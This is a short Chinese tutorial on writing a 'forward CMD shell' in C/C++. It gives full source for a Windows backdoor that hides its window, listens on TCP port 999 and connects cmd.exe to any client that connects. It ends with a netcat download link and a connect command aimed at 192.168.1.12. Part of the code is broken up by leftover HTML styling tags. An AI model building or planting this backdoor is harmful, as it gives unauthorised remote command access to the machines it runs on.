C/C++实现正向CMDShell
1.首先使用vc6编译器编译后门,并运行
#pragma comment(lib,"ws2_32.lib")#ifdef _MSC_VER
#pragma comment( linker, “/subsystem:"windows" /entry:"mainCRTStartup"“ )
#endif#include
<winsock2.h>
#include <windows.h>
#define Port 999int main()
{
SOCKET sSocket,cSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
WSADATA wsaData;
sockaddr_in sSockaddr;
char szCmdPath[MAX_PATH];GetEnvironmentVariable(</span><span style="color: #800000;">"</span><span style="color: #800000;">COMSPEC</span><span style="color: #800000;">"</span><span style="color: #000000;">,szCmdPath,MAX_PATH); ZeroMemory(</span>&wsaData,<span style="color: #0000ff;">sizeof</span><span style="color: #000000;">(wsaData)); ZeroMemory(</span>&si,<span style="color: #0000ff;">sizeof</span><span style="color: #000000;">(STARTUPINFO)); ZeroMemory(</span>&pi,<span style="color: #0000ff;">sizeof</span><span style="color: #000000;">(PROCESS_INFORMATION)); WSAStartup(</span><span style="color: #800080;">0x0202</span>,&<span style="color: #000000;">wsaData); cSocket</span>=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,<span style="color: #800080;">0</span>,<span style="color: #800080;">0</span><span style="color: #000000;">); sSockaddr.sin_addr.s_addr</span>=<span style="color: #000000;">INADDR_ANY; sSockaddr.sin_family</span>=<span style="color: #000000;">AF_INET; sSockaddr.sin_port</span>=<span style="color: #000000;">htons(Port); bind(cSocket,(sockaddr</span>*)&sSockaddr,<span style="color: #0000ff;">sizeof</span><span style="color: #000000;">(sSockaddr)); listen(cSocket,</span><span style="color: #800080;">1</span><span style="color: #000000;">); </span><span style="color: #0000ff;">int</span> sLen=<span style="color: #0000ff;">sizeof</span><span style="color: #000000;">(sSockaddr); sSocket</span>=accept(cSocket,(sockaddr*)&sSockaddr,&<span style="color: #000000;">sLen); si.cb</span>=<span style="color: #0000ff;">sizeof</span><span style="color: #000000;">(si); si.dwFlags</span>=STARTF_USESTDHANDLES|<span style="color: #000000;">STARTF_USESHOWWINDOW; si.hStdInput</span>=<span style="color: #000000;">(HANDLE)sSocket; si.hStdOutput</span>=<span style="color: #000000;">(HANDLE)sSocket; si.hStdError</span>=<span style="color: #000000;">(HANDLE)sSocket; CreateProcess(NULL,szCmdPath,NULL,NULL,TRUE,</span><span style="color: #800080;">0</span>,NULL,NULL,&si,&<span style="color: #000000;">pi); WaitForSingleObject(pi.hProcess,INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); closesocket(cSocket); closesocket(sSocket); WSACleanup(); </span><span style="color: #0000ff;">return</span> <span style="color: #800080;">0</span><span style="color: #000000;">;
}
连接时使用nc工具链接即可 下载地址:https://eternallybored.org/misc/netcat/
nc执行命令 nc64.exe -t 192.168.1.12 999 即可链接到主机